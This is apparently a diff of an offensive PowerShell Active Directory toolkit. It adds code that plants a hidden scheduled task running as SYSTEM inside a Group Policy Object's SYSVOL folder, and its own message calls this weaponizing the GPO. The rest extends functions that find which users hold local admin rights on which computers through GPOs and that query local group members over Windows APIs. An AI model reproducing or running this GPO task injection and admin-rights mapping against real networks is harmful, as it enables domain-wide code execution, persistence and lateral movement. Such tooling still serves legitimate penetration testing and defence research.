version="1.3"><RegistrationInfo><Author>'+$TaskAuthor+'</Author><Description>'+$TaskDescription+'</Description></RegistrationInfo><Principals><Principal id="Author"><UserId>NT AUTHORITY\System</UserId><RunLevel>HighestAvailable</RunLevel><LogonType>S4U</LogonType></Principal></Principals><Settings><IdleSettings><Duration>PT10M</Duration><WaitTimeout>PT1H</WaitTimeout><StopOnIdleEnd>true</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>true</StopIfGoingOnBatteries><AllowHardTerminate>false</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><AllowStartOnDemand>false</AllowStartOnDemand><Enabled>true</Enabled><Hidden>true</Hidden><ExecutionTimeLimit>PT0S</ExecutionTimeLimit><Priority>7</Priority><DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter><RestartOnFailure><Interval>PT15M</Interval><Count>3</Count></RestartOnFailure></Settings><Actions Context="Author"><Exec><Command>'+$Command+'</Command><Arguments>'+$CommandArguments+'</Arguments></Exec></Actions><Triggers><TimeTrigger><StartBoundary>%LocalTimeXmlEx%</StartBoundary><EndBoundary>%LocalTimeXmlEx%</EndBoundary><Enabled>true</Enabled></TimeTrigger></Triggers></Task></Properties></ImmediateTaskV2></ScheduledTasks>' + +    if (!$PSBoundParameters['GPOname'] -and !$PSBoundParameters['GPODisplayName']) { +        Write-Warning 'Either -GPOName or -GPODisplayName must be specified' +        return +    } + +    # eunmerate the specified GPO(s) +    $GPOs = Get-NetGPO -GPOname $GPOname -DisplayName $GPODisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -Credential $Credential  +     +    if(!$GPOs) { +        Write-Warning 'No GPO found.' +        return +    } + +    $GPOs | ForEach-Object { +        $ProcessedGPOName = $_.Name +        try { +            Write-Verbose "Trying to weaponize GPO: $ProcessedGPOName" + +            # map a network drive as New-PSDrive/New-Item/etc. don't accept -Credential properly :( +            if($Credential) { +                Write-Verbose "Mapping '$($_.gpcfilesyspath)' to network drive N:\" +                $Path = $_.gpcfilesyspath.TrimEnd('\') +                $Net = New-Object -ComObject WScript.Network +                $Net.MapNetworkDrive("N:", $Path, $False, $Credential.UserName, $Credential.GetNetworkCredential().Password) +                $TaskPath = "N:\Machine\Preferences\ScheduledTasks\" +            } +            else { +                $TaskPath = $_.gpcfilesyspath + "\Machine\Preferences\ScheduledTasks\" +            } + +            if($Remove) { +                if(!(Test-Path "$TaskPath\ScheduledTasks.xml")) { +                    Throw "Scheduled task doesn't exist at $TaskPath\ScheduledTasks.xml" +                } + +                if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Removing schtask at $TaskPath\ScheduledTasks.xml")) { +                    return +                } + +                Remove-Item -Path "$TaskPath\ScheduledTasks.xml" -Force +            } +            else { +                if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Creating schtask at $TaskPath\ScheduledTasks.xml")) { +                    return +                } +                 +                # create the folder if it doesn't exist +                $Null = New-Item -ItemType Directory -Force -Path $TaskPath + +                if(Test-Path "$TaskPath\ScheduledTasks.xml") { +                    Throw "Scheduled task already exists at $TaskPath\ScheduledTasks.xml !" +                } + +                $TaskXML | Set-Content -Encoding ASCII -Path "$TaskPath\ScheduledTasks.xml" +            } + +            if($Credential) { +                Write-Verbose "Removing mounted drive at N:\" +                $Net = New-Object -ComObject WScript.Network +                $Net.RemoveNetworkDrive("N:") +            } +        } +        catch { +            Write-Warning "Error for GPO $ProcessedGPOName : $_" +            if($Credential) { +                Write-Verbose "Removing mounted drive at N:\" +                $Net = New-Object -ComObject WScript.Network +                $Net.RemoveNetworkDrive("N:")              }          }      } @@ -5479,7 +6202,7 @@ function Get-NetGPOGroup {      )      # get every GPO from the specified domain with restricted groups set -    Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | Foreach-Object { +    Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object {          $Memberof = $Null          $Members = $Null @@ -5500,33 +6223,44 @@ function Get-NetGPOGroup {              $Memberof = $Inf.GroupMembership | Get-Member *Memberof | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') }              $Members = $Inf.GroupMembership | Get-Member *Members | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') } -            # only return an object if Members are found -            if ($Members -or $Memberof) { - -                # if there is no Memberof defined, assume local admins -                if(!$Memberof) { -                    $Memberof = 'S-1-5-32-544' +            if(!$Members) { +                try { +                    $MembersRaw = $Inf.GroupMembership | Get-Member *Members | Select-Object -ExpandProperty Name +                    $Members = ($MembersRaw -split "__")[0].trim("*") +                } +                catch { +                    $MembersRaw = ''                  } +            } -                if($ResolveSids) { -                    $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_} -                    $Members = $Members | ForEach-Object {Convert-SidToName $_} +            if(!$Memberof) { +                try { +                    $MemberofRaw = $Inf.GroupMembership | Get-Member *Memberof | Select-Object -ExpandProperty Name +                    $Memberof = ($MemberofRaw -split "__")[0].trim("*") +                } +                catch { +                    $Memberof = ''                  } +            } -                if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)} -                if($Members -isnot [system.array]) {$Members = @($Members)} +            if($ResolveSids) { +                $Memberof = $Memberof | ForEach-Object { Convert-SidToName $_ } +                $Members = $Members | ForEach-Object { Convert-SidToName $_ } +            } -                $GPOProperties = @{ -                    'GPODisplayName' = $GPODisplayName -                    'GPOName' = $GPOName -                    'GPOPath' = $GPOPath -                    'Filters' = $Null -                    'MemberOf' = $Memberof -                    'Members' = $Members -                } +            if($Memberof -isnot [System.Array]) {$Memberof = @($Memberof)} +            if($Members -isnot [System.Array]) {$Members = @($Members)} -                New-Object -TypeName PSObject -Property $GPOProperties +            $GPOProperties = @{ +                'GPODisplayName' = $GPODisplayName +                'GPOName' = $GPOName +                'GPOPath' = $GPOPath +                'Filters' = $Null +                'MemberOf' = $Memberof +                'Members' = $Members              } + +            New-Object -TypeName PSObject -Property $GPOProperties          }          $ParseArgs =  @{ @@ -5647,7 +6381,7 @@ function Find-GPOLocation {          $TargetSid = $UserSid          $ObjectSamAccountName = $User.samaccountname -        $ObjectDistName = $User.distinguishedname +        $TargetObjects = $UserSid      }      elseif($GroupName) { @@ -5660,19 +6394,19 @@ function Find-GPOLocation {          $TargetSid = $GroupSid          $ObjectSamAccountName = $Group.samaccountname -        $ObjectDistName = $Group.distinguishedname +        $TargetObjects = $GroupSid      }      else { -        throw "-UserName or -GroupName must be specified!" +        $TargetSid = '*'      }      if($LocalGroup -like "*Admin*") { -        $LocalSID = "S-1-5-32-544" +        $LocalSID = 'S-1-5-32-544'      }      elseif ( ($LocalGroup -like "*RDP*") -or ($LocalGroup -like "*Remote*") ) { -        $LocalSID = "S-1-5-32-555" +        $LocalSID = 'S-1-5-32-555'      } -    elseif ($LocalGroup -like "S-1-5*") { +    elseif ($LocalGroup -like "S-1-5-*") {          $LocalSID = $LocalGroup      }      else { @@ -5681,15 +6415,16 @@ function Find-GPOLocation {      Write-Verbose "LocalSid: $LocalSID"      Write-Verbose "TargetSid: $TargetSid" -    Write-Verbose "TargetObjectDistName: $ObjectDistName" -    if($TargetSid -isnot [system.array]) { $TargetSid = @($TargetSid) } +    if($TargetSid -ne '*') { +        if($TargetSid -isnot [System.Array]) { $TargetSid = @($TargetSid) } -    # use the tokenGroups approach from Get-NetGroup to get all effective -    #   security SIDs this object is a part of -    $TargetSid += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids +        # use the tokenGroups approach from Get-NetGroup to get all effective +        #   security SIDs this object is a part of +        $TargetSid += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids -    if($TargetSid -isnot [system.array]) { $TargetSid = @($TargetSid) } +        if($TargetSid -isnot [System.Array]) { [System.Array]$TargetSid = [System.Array]@($TargetSid) } +    }      Write-Verbose "Effective target sids: $TargetSid" @@ -5703,104 +6438,108 @@ function Find-GPOLocation {      # get all GPO groups, and filter on ones that match our target SID list      #   and match the target local sid memberof list      $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object { -                  if ($_.members) {              $_.members = $_.members | Where-Object {$_} | ForEach-Object { -                if($_ -match "S-1-5") { +                if($_ -match '^S-1-.*') {                      $_                  }                  else {                      # if there are any plain group names, try to resolve them to sids -                    Convert-NameToSid -ObjectName $_ -Domain $Domain +                    (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID                  } -            } +            } | Sort-Object -Unique              # stop PowerShell 2.0's string stupid unboxing -            if($_.members -isnot [system.array]) { $_.members = @($_.members) } -            if($_.memberof -isnot [system.array]) { $_.memberof = @($_.memberof) } -             -            if($_.members) { -                try { -                    # only return groups that contain a target sid - -                    # TODO: fix stupid weird "-DifferenceObject" is null error -                    if( (Compare-Object -ReferenceObject $_.members -DifferenceObject $TargetSid -IncludeEqual -ExcludeDifferent) ) { -                        if ($_.memberof -contains $LocalSid) { -                            $_ -                        } -                    } -                }  -                catch { -                    Write-Debug "Error comparing members and $TargetSid : $_" +            if($_.members -isnot [System.Array]) { $_.members = @($_.members) } +            if($_.memberof -isnot [System.Array]) { $_.memberof = @($_.memberof) } + +            # check if the memberof contains the sid of the local account we're searching for +            Write-Verbose "memberof: $($_.memberof)" +            if ($_.memberof -contains $LocalSid) { +                # check if there's an overlap between the members field and the set of target sids +                #   if $TargetSid = *, then return all results +                if ( ($TargetSid -eq '*') -or ($_.members | Where-Object {$_} | Where-Object { $TargetSid -Contains $_ })) { +                    $_                  }              }          }      } -    Write-Verbose "GPOgroups: $GPOgroups"      $ProcessedGUIDs = @{}      # process the matches and build the result objects      $GPOgroups | Where-Object {$_} | ForEach-Object {          $GPOguid = $_.GPOName +        $GPOMembers = $_.Members + +        if(!$TargetObjects) { +            # if the * wildcard was used, set the ObjectDistName as the GPO member sid set +            $TargetObjects = $GPOMembers +        }          if( -not $ProcessedGUIDs[$GPOguid] ) {              $GPOname = $_.GPODisplayName              $Filters = $_.Filters -            # find any OUs that have this GUID applied +            # find any OUs that have this GUID applied and then retrieve any computers from the OU              Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object {                  if($Filters) {                      # filter for computer name/org unit if a filter is specified                      #   TODO: handle other filters? -                    $OUComputers = Get-NetComputer -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object { +                    $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object {                          $_.adspath -match ($Filters.Value)                      } | ForEach-Object { $_.dnshostname }                  }                  else { -                    $OUComputers = Get-NetComputer -ADSpath $_.ADSpath -PageSize $PageSize +                    $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize                  } -                $GPOLocation = New-Object PSObject -                $GPOLocation | Add-Member Noteproperty 'ObjectName' $ObjectDistName -                $GPOLocation | Add-Member Noteproperty 'GPOname' $GPOname -                $GPOLocation | Add-Member Noteproperty 'GPOguid' $GPOguid -                $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname -                $GPOLocation | Add-Member Noteproperty 'Computers' $OUComputers -                $GPOLocation +                ForEach ($TargetSid in $TargetObjects) { + +                    $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize + +                    $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + +                    $GPOLocation = New-Object PSObject +                    $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname +                    $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname +                    $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid +                    $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup +                    $GPOLocation | Add-Member Noteproperty 'GPOname' $GPOname +                    $GPOLocation | Add-Member Noteproperty 'GPOguid' $GPOguid +                    $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname +                    $GPOLocation | Add-Member Noteproperty 'Computers' $OUComputers +                    $GPOLocation +                }              }              # find any sites that have this GUID applied -            # TODO: fix, this isn't the correct way to query computers from a site... -            # Get-NetSite -GUID $GPOguid -FullData | Foreach-Object { -            #     if($Filters) { -            #         # filter for computer name/org unit if a filter is specified -            #         #   TODO: handle other filters? -            #         $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath -FullData | ? { -            #             $_.adspath -match ($Filters.Value) -            #         } | Foreach-Object {$_.dnshostname} -            #     } -            #     else { -            #         $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath -            #     } - -            #     $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath -            #     $out = New-Object PSObject -            #     $out | Add-Member Noteproperty 'Object' $ObjectDistName -            #     $out | Add-Member Noteproperty 'GPOname' $GPOname -            #     $out | Add-Member Noteproperty 'GPOguid' $GPOguid -            #     $out | Add-Member Noteproperty 'ContainerName' $_.distinguishedname -            #     $out | Add-Member Noteproperty 'Computers' $OUComputers -            #     $out -            # } +            Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object { + +                ForEach ($TargetSid in $TargetObjects) { +                    $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize + +                    $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + +                    $AppliedSite = New-Object PSObject +                    $AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname +                    $AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname +                    $AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid +                    $AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup +                    $AppliedSite | Add-Member Noteproperty 'GPOname' $GPOname +                    $AppliedSite | Add-Member Noteproperty 'GPOguid' $GPOguid +                    $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname +                    $AppliedSite | Add-Member Noteproperty 'Computers' $_.siteobjectbl +                    $AppliedSite +                } +            }              # mark off this GPO GUID so we don't process it again if there are dupes              $ProcessedGUIDs[$GPOguid] = $True          }      } -  } @@ -5897,23 +6636,51 @@ function Find-GPOComputerAdmin {              Throw "-ComputerName or -OUName must be provided"          } +        $GPOGroups = @() +          if($ComputerName) {              $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize              if(!$Computers) { -                throw "Computer $Computer in domain '$Domain' not found!" +                throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name"              } +            $TargetOUs = @()              ForEach($Computer in $Computers) {                  # extract all OUs a computer is a part of                  $DN = $Computer.distinguishedname -                $TargetOUs = $DN.split(",") | Foreach-Object { +                $TargetOUs += $DN.split(",") | ForEach-Object {                      if($_.startswith("OU=")) {                          $DN.substring($DN.indexof($_))                      }                  }              } + +            # enumerate any linked GPOs for the computer's site +            $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName +            if($ComputerSite -and ($ComputerSite -ne 'ERROR')) { +                $GPOGroups += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object { +                    if($_.gplink) { +                        $_.gplink.split("][") | ForEach-Object { +                            if ($_.startswith("LDAP")) { +                                $_.split(";")[0] +                            } +                        } +                    } +                } | ForEach-Object { +                    $GPOGroupArgs =  @{ +                        'Domain' = $Domain +                        'DomainController' = $DomainController +                        'ADSpath' = $_ +                        'UsePSDrive' = $UsePSDrive +                        'PageSize' = $PageSize +                    } + +                    # for each GPO link, get any locally set user/group SIDs +                    Get-NetGPOGroup @GPOGroupArgs +                } +            }          }          else {              $TargetOUs = @($OUName) @@ -5921,19 +6688,19 @@ function Find-GPOComputerAdmin {          Write-Verbose "Target OUs: $TargetOUs" -        $TargetOUs | Where-Object {$_} | Foreach-Object { - -            $OU = $_ +        $TargetOUs | Where-Object {$_} | ForEach-Object {              # for each OU the computer is a part of, get the full OU object -            $GPOgroups = Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | Foreach-Object {  +            $GPOgroups += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | ForEach-Object {                   # and then get any GPO links -                $_.gplink.split("][") | Foreach-Object { -                    if ($_.startswith("LDAP")) { -                        $_.split(";")[0] +                if($_.gplink) { +                    $_.gplink.split("][") | ForEach-Object { +                        if ($_.startswith("LDAP")) { +                            $_.split(";")[0] +                        }                      }                  } -            } | Foreach-Object { +            } | ForEach-Object {                  $GPOGroupArgs =  @{                      'Domain' = $Domain                      'DomainController' = $DomainController @@ -5945,69 +6712,77 @@ function Find-GPOComputerAdmin {                  # for each GPO link, get any locally set user/group SIDs                  Get-NetGPOGroup @GPOGroupArgs              } +        } -            # for each found GPO group, resolve the SIDs of the members -            $GPOgroups | Where-Object {$_} | Foreach-Object { -                $GPO = $_ -                $GPO.members | Foreach-Object { +        # for each found GPO group, resolve the SIDs of the members +        $GPOgroups | Where-Object {$_} | ForEach-Object { +            $GPO = $_ -                    # resolvethis SID to a domain object -                    $Object = Get-ADObject -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize +            if ($GPO.members) { +                $GPO.members = $GPO.members | Where-Object {$_} | ForEach-Object { +                    if($_ -match '^S-1-.*') { +                        $_ +                    } +                    else { +                        # if there are any plain group names, try to resolve them to sids +                        (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID +                    } +                } | Sort-Object -Unique +            } -                    $GPOComputerAdmin = New-Object PSObject -                    $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName -                    $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU -                    $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName -                    $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath -                    $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.name -                    $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname -                    $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ -                    $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $($Object.samaccounttype -notmatch '805306368') -                    $GPOComputerAdmin  +            $GPO.members | ForEach-Object { -                    # if we're recursing and the current result object is a group -                    if($Recurse -and $GPOComputerAdmin.isGroup) { +                # resolve this SID to a domain object +                $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_ -                        Get-NetGroupMember -SID $_ -FullData -Recurse -PageSize $PageSize | Foreach-Object { +                $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype -                            $MemberDN = $_.distinguishedName +                $GPOComputerAdmin = New-Object PSObject +                $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName +                $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName +                $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath +                $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname +                $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname +                $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ +                $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup +                $GPOComputerAdmin  -                            # extract the FQDN from the Distinguished Name -                            $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' +                # if we're recursing and the current result object is a group +                if($Recurse -and $GPOComputerAdmin.isGroup) { -                            if ($_.samAccountType -ne "805306368") { -                                $MemberIsGroup = $True -                            } -                            else { -                                $MemberIsGroup = $False -                            } +                    Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | ForEach-Object { + +                        $MemberDN = $_.distinguishedName + +                        # extract the FQDN from the Distinguished Name +                        $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' -                            if ($_.samAccountName) { -                                # forest users have the samAccountName set -                                $MemberName = $_.samAccountName +                        $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype + +                        if ($_.samAccountName) { +                            # forest users have the samAccountName set +                            $MemberName = $_.samAccountName +                        } +                        else { +                            # external trust users have a SID, so convert it +                            try { +                                $MemberName = Convert-SidToName $_.cn                              } -                            else { -                                # external trust users have a SID, so convert it -                                try { -                                    $MemberName = Convert-SidToName $_.cn -                                } -                                catch { -                                    # if there's a problem contacting the domain to resolve the SID -                                    $MemberName = $_.cn -                                } +                            catch { +                                # if there's a problem contacting the domain to resolve the SID +                                $MemberName = $_.cn                              } - -                            $GPOComputerAdmin = New-Object PSObject -                            $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName -                            $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU -                            $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName -                            $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath -                            $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName -                            $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN -                            $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid -                            $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGroup -                            $GPOComputerAdmin                           } + +                        $GPOComputerAdmin = New-Object PSObject +                        $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName +                        $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName +                        $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath +                        $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName +                        $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN +                        $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid +                        $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGroup +                        $GPOComputerAdmin                       }                  }              } @@ -6047,9 +6822,15 @@ function Get-DomainPolicy {      .EXAMPLE -        PS C:\> Get-NetGPO +        PS C:\> Get-DomainPolicy + +        Returns the domain policy for the current domain.  + +    .EXAMPLE + +        PS C:\> Get-DomainPolicy -Source DC -DomainController MASTER.testlab.local -        Returns the GPOs in the current domain.  +        Returns the policy for the MASTER.testlab.local domain controller.  #>      [CmdletBinding()] @@ -6103,25 +6884,25 @@ function Get-DomainPolicy {              }              # parse the GptTmpl.inf -            Get-GptTmpl @ParseArgs | Foreach-Object { +            Get-GptTmpl @ParseArgs | ForEach-Object {                  if($ResolveSids) {                      # if we're resolving sids in PrivilegeRights to names                      $Policy = New-Object PSObject -                    $_.psobject.properties | Foreach-Object { +                    $_.psobject.properties | ForEach-Object {                          if( $_.Name -eq 'PrivilegeRights') {                              $PrivilegeRights = New-Object PSObject                              # for every nested SID member of PrivilegeRights, try to                               #   unpack everything and resolve the SIDs as appropriate -                            $_.Value.psobject.properties | Foreach-Object { +                            $_.Value.psobject.properties | ForEach-Object { -                                $Sids = $_.Value | Foreach-Object { +                                $Sids = $_.Value | ForEach-Object {                                      try {                                          if($_ -isnot [System.Array]) {                                               Convert-SidToName $_                                           }                                          else { -                                            $_ | Foreach-Object { Convert-SidToName $_ } +                                            $_ | ForEach-Object { Convert-SidToName $_ }                                          }                                      }                                      catch { @@ -6184,6 +6965,11 @@ function Get-NetLocalGroup {          Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine. +    .PARAMETER API + +        Switch. Use API calls instead of the WinNT service provider. Less information, +        but the results are faster. +      .EXAMPLE          PS C:\> Get-NetLocalGroup @@ -6198,7 +6984,7 @@ function Get-NetLocalGroup {      .EXAMPLE -        PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Resurse  +        PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Recurse           Returns all effective local/domain users/groups that can access WINDOWS7 with          local administrative privileges. @@ -6209,42 +6995,52 @@ function Get-NetLocalGroup {          Returns all local groups on the WINDOWS7 host. +    .EXAMPLE + +        PS C:\> "WINDOWS7", "WINDOWSSP" | Get-NetLocalGroup -API + +        Returns all local groups on the the passed hosts using API calls instead of the +        WinNT service provider. +      .LINK          http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together          http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx  #> -    [CmdletBinding()] +    [CmdletBinding(DefaultParameterSetName = 'WinNT')]      param( -        [Parameter(ValueFromPipeline=$True)] +        [Parameter(ParameterSetName = 'API', Position=0, ValueFromPipeline=$True)] +        [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)]          [Alias('HostName')] -        [String] +        [String[]]          $ComputerName = 'localhost', +        [Parameter(ParameterSetName = 'WinNT')] +        [Parameter(ParameterSetName = 'API')]          [ValidateScript({Test-Path -Path $_ })]          [Alias('HostList')]          [String]          $ComputerFile, +        [Parameter(ParameterSetName = 'WinNT')] +        [Parameter(ParameterSetName = 'API')]          [String]          $GroupName = 'Administrators', +        [Parameter(ParameterSetName = 'WinNT')]          [Switch]          $ListGroups, +        [Parameter(ParameterSetName = 'WinNT')]          [Switch] -        $Recurse +        $Recurse, + +        [Parameter(ParameterSetName = 'API')] +        [Switch] +        $API      ) -    begin { -        if ((-not $ListGroups) -and (-not $GroupName)) { -            # resolve the SID for the local admin group - this should usually default to "Administrators" -            $ObjSID = New-Object System.Security.Principal.SecurityIdentifier('S-1-5-32-544') -            $Objgroup = $ObjSID.Translate( [System.Security.Principal.NTAccount]) -            $GroupName = ($Objgroup.Value).Split('\')[1] -        } -    }      process {          $Servers = @() @@ -6255,140 +7051,273 @@ function Get-NetLocalGroup {          }          else {              # otherwise assume a single host name -            $Servers += Get-NameField -Object $ComputerName +            $Servers += $ComputerName | Get-NameField          }          # query the specified group using the WINNT provider, and          # extract fields as appropriate from the results          ForEach($Server in $Servers) { -            try { -                if($ListGroups) { -                    # if we're listing the group names on a remote server -                    $Computer = [ADSI]"WinNT://$Server,computer" - -                    $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { -                        $Group = New-Object PSObject -                        $Group | Add-Member Noteproperty 'Server' $Server -                        $Group | Add-Member Noteproperty 'Group' ($_.name[0]) -                        $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value) -                        $Group | Add-Member Noteproperty 'Description' ($_.Description[0]) -                        $Group -                    } -                } -                else { -                    # otherwise we're listing the group members -                    $Members = @($([ADSI]"WinNT://$Server/$GroupName").psbase.Invoke('Members')) -                    $Members | ForEach-Object { +            if($API) { +                # if we're using the Netapi32 NetLocalGroupGetMembers API call to +                #   get the local group information + +                # arguments for NetLocalGroupGetMembers +                $QueryLevel = 2 +                $PtrInfo = [IntPtr]::Zero +                $EntriesRead = 0 +                $TotalRead = 0 +                $ResumeHandle = 0 -                        $Member = New-Object PSObject -                        $Member | Add-Member Noteproperty 'Server' $Server +                # get the local user information +                $Result = $Netapi32::NetLocalGroupGetMembers($Server, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) -                        $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '') +                # Locate the offset of the initial intPtr +                $Offset = $PtrInfo.ToInt64() -                        # try to translate the NT4 domain to a FQDN if possible -                        $Name = Convert-NT4toCanonical -ObjectName $AdsPath -                        if($Name) { -                            $FQDN = $Name.split("/")[0] -                            $ObjName = $AdsPath.split("/")[-1] -                            $Name = "$FQDN/$ObjName" -                            $IsDomain = $True +                Write-Debug "NetLocalGroupGetMembers result for $Server : $Result" +                $LocalUsers = @() + +                # 0 = success +                if (($Result -eq 0) -and ($Offset -gt 0)) { + +                    # Work out how mutch to increment the pointer by finding out the size of the structure +                    $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize() + +                    # parse all the result structures +                    for ($i = 0; ($i -lt $EntriesRead); $i++) { +                        # create a new int ptr at the given offset and cast +                        #   the pointer as our result structure +                        $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset +                        $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2 + +                        $SidString = "" +                        $Result = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString) +                        Write-Debug "Result of ConvertSidToStringSid: $Result" + +                        if($Result -eq 0) { +                            # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx +                            $Err = $Kernel32::GetLastError() +                            Write-Error "ConvertSidToStringSid LastError: $Err"                                          }                          else { -                            $Name = $AdsPath -                            $IsDomain = $False -                        } +                            $LocalUser = New-Object PSObject +                            $LocalUser | Add-Member Noteproperty 'ComputerName' $Server +                            $LocalUser | Add-Member Noteproperty 'AccountName' $Info.lgrmi2_domainandname +                            $LocalUser | Add-Member Noteproperty 'SID' $SidString -                        $Member | Add-Member Noteproperty 'AccountName' $Name +                            $IsGroup = $($Info.lgrmi2_sidusage -eq 